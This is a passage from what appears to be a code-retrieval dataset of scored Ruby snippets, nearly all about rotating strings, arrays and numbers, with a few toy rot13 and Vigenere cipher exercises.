index|\r\n if subarray.even?\r\n result[index].reverse!\r\n else\r\n result[index] = result[index][1..-1] + result[index][0]\r\n end\r\n end\r\n \r\n \r\n #joining the answer\r\n result.join\r\nend", "title": "" }, { "docid": "c4b874e012a97004d35739036c5d4edd", "score": "0.6539073", "text": "def rotate_str(str)\n str[1..-1] << str[0]\nend", "title": "" }, { "docid": "98f86c806c72031aac2ccca3b1dcf6a0", "score": "0.6537679", "text": "def rotate(n)\n z = n.to_s # int -> string conversion\n y = z.size\n \n # new number\n (0...y).map do |idx|\n new_idx = y-idx-1 # mirror the direction\n val = z[new_idx]\n new_val = $mirror[val] # mirrored value\n return -1 unless new_val # invalid chars?\n new_val\n end.join.to_i\nend", "title": "" }, { "docid": "b35b57c42fd942b41c2653e91221b0e3", "score": "0.65256166", "text": "def rot13(arr)\n arr.map! do |name|\n name.chars.map do |char|\n next char if char.match?(/[ -]/)\n (\"a\"..\"m\").include?(char.downcase) ? (char.ord + 13).chr : (char.ord - 13).chr\n end.join\n end\n puts arr\nend", "title": "" }, { "docid": "153ad8ad9a9f000dc327fc014131aa67", "score": "0.6524248", "text": "def rotate_obj(obj)\n obj.is_a?(String) ? obj.chars.rotate.join : obj.digits.reverse.rotate.join.to_i\nend", "title": "" }, { "docid": "c453e9be3a57b4a7a3d272bc204a3dc5", "score": "0.6520291", "text": "def test_rotation_six\n assert_equal([5,1,2,3,4], @target.rotate([1,2,3,4,5], 6))\n end", "title": "" }, { "docid": "57065bfada899c72a565fed0504fa80e", "score": "0.65175015", "text": "def rotate_right; end", "title": "" }, { "docid": "82d8d69487695b0c65c9574dfeb0105f", "score": "0.6516245", "text": "def rotate_array(arr, num)\n neg_convert = -num\n\n add_words = arr[neg_convert..-1]\n num.times { arr.pop[1] }\n\n arr.unshift(*add_words)\n return arr\n\nend", "title": "" }, { "docid": "ef246088ee25a3f8610a0cfc3cba23bf", "score": "0.6514557", "text": "def rotation?(string, rotation)\n double = string * 2\n double.include?(rotation)\nend", "title": "" }, { "docid": "e8f3ed8cbf4fbebded8d34ea01e98c86", "score": "0.6497225", "text": "def string_rotation(str1, str2)\n\n check = is_permutation?(str1, str2)\n\n if check\n curr = str2.chars\n\n str2.length.times do\n curr << curr.shift\n return true if curr.join == str1 \n end\n end\n false\nend", "title": "" }, { "docid": "c21a9a5f02ff678f5170622bbd0f5318", "score": "0.649015", "text": "def rotate_right!; end", "title": "" }, { "docid": "09d1091c859048056ec4de4aa9036328", "score": "0.648733", "text": "def rotX; end", "title": "" }, { "docid": "51c08ad65b585bf7225b8f381df0a0c8", "score": "0.6486777", "text": "def rotate_array(array)\narray[1..-1] + [array[0]]\nend", "title": "" }, { "docid": "e302932c509d83371aa60e5af9f094cc", "score": "0.6479795", "text": "def vigenere_cipher(string, rotate)\n shifted = \"\"\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n char_move = 0\n string.each_char do |char|\n char_move = 0 if char_move == rotate.length \n num = rotate[char_move]\n ind = alphabet.index(char)\n if ind + num <= alphabet.length\n shifted += alphabet[ind + num]\n else\n shifted += alphabet[(ind + num) - alphabet.length]\n end\n char_move += 1\n end\n shifted\nend", "title": "" }, { "docid": "eb6774355f3f1ae910c610d2b6818ce8", "score": "0.6476896", "text": "def my_rotate(num = 1)\n alpha = (\"a\"..\"z\").to_a\n self.map do |el|\n alpha[(alpha.index(el) + num) % self.length]\n end\n\nend", "title": "" }, { "docid": "0174d3130fbb34cd2561ecd5c940caf9", "score": "0.64750016", "text": "def stringRotation(string1, string2) \n if (string1.length != string2.length) \n return false;\n end\n return (string2 + string2).include?(string1);\nend", "title": "" }, { "docid": "ddb80faea46f139a592da3a128d58353", "score": "0.64741135", "text": "def rotation?(str1, str2)\n substring?(\"#{str2}#{str2}\", str1)\nend", "title": "" }, { "docid": "f20eebc3679fd6f167e8038507886494", "score": "0.6467796", "text": "def leftRotation(arr, d)\n\n # for i in 0...d\n # first = arr[0]\n # for j in 1...arr.size\n # arr[j - 1] = arr[j]\n # end\n # arr[-1] = first\n # end\n #\n # return arr\n # print arr.join(\" \")\n\n #\n #\n # Modulo operation: Given two numbers, a (the dividend) and n (the divisor),\n # a modulo n (abbreviated as a mod n) is the remainder from the division of a by n.\n # for e.g 4 % 5 = 4 as 5*0 = 0; 4-0 = 4 reminder\n\n # str = ''\n # length = arr.length\n # length.times do |i|\n # new_index = (i + d) % length\n # str += \"#{arr[new_index]} \"\n # end\n # puts str.strip\n #\n result = []\n length = arr.length\n (0..length-1).each do |i|\n new_index = (i + d) % length\n result.push(arr[new_index])\n end\n return result\n\nend", "title": "" }, { "docid": "ceaa6167156bc697115844efc5cfdab9", "score": "0.6458977", "text": "def string_rotation(s1,s2)\n return true if s1.isSubstring((s2+s2)) \n false\nend", "title": "" }, { "docid": "db2c1fc3bddc2af20f2dfb547e627dbb", "score": "0.6451915", "text": "def max_rotation(int)\n int_arr = int.to_s.chars\n counter = 0\n while counter < int_arr.length\n rotated_segment = rotate_array(int_arr[counter..-1])\n int_arr[counter..-1] = rotated_segment\n counter += 1\n end\n int_arr.join.to_i\nend", "title": "" } ]